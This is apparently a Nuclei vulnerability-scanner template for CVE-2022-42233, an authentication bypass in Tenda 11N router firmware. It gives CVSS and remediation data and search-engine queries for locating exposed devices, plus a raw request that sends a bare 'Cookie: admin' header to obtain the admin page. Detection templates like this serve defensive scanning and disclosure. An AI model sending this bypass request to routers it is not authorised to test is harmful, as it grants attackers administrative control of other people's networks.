id: CVE-2022-42233

info:
  name: Tenda 11N - Authentication Bypass
  author: For3stCo1d
  severity: critical
  description: |
    Tenda 11N with firmware version V5.07.33_cn contains an authentication bypass vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Unauthenticated attackers can bypass authentication by setting an admin cookie to gain full administrative access to Tenda 11N routers, enabling complete device configuration changes and network compromise.
  remediation: |
    Apply the latest firmware update provided by Tenda to fix the authentication bypass vulnerability (CVE-2022-42233).
  reference:
    - https://github.com/D0ngsec/vulns/blob/main/Tenda/Tenda_11N_Authentication_Bypass.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42233
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-42233
    cwe-id: CWE-287
    epss-score: 0.42704
    epss-percentile: 0.98583
    cpe: cpe:2.3:o:tenda:11n_firmware:5.07.33_cn:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tenda
    product: 11n_firmware
    shodan-query:
      - http.title:"Tenda 11N"
      - http.title:"tenda 11n"
    fofa-query:
      - product=="Tenda-11N-Wireless-AP"
      - product=="tenda-11n-wireless-ap"
      - title="tenda 11n"
    google-query: intitle:"tenda 11n"
  tags: cve,cve2022,tenda,auth-bypass,router,iot,vuln

http:
  - raw:
      - |
        GET /index.asp HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'def_wirelesspassword'
          - 'Tenda 11N'
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - 'GoAhead-Webs'

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210095379a4954281c41de51e6617ad2a35972a50684187dfecd0d79b1f87493b3e8022100a0da06a298243fb6d9212999b68ab49c56e61716a94740d914d420b7fd96d10b:922c64590222798bb761d5b6d8e72950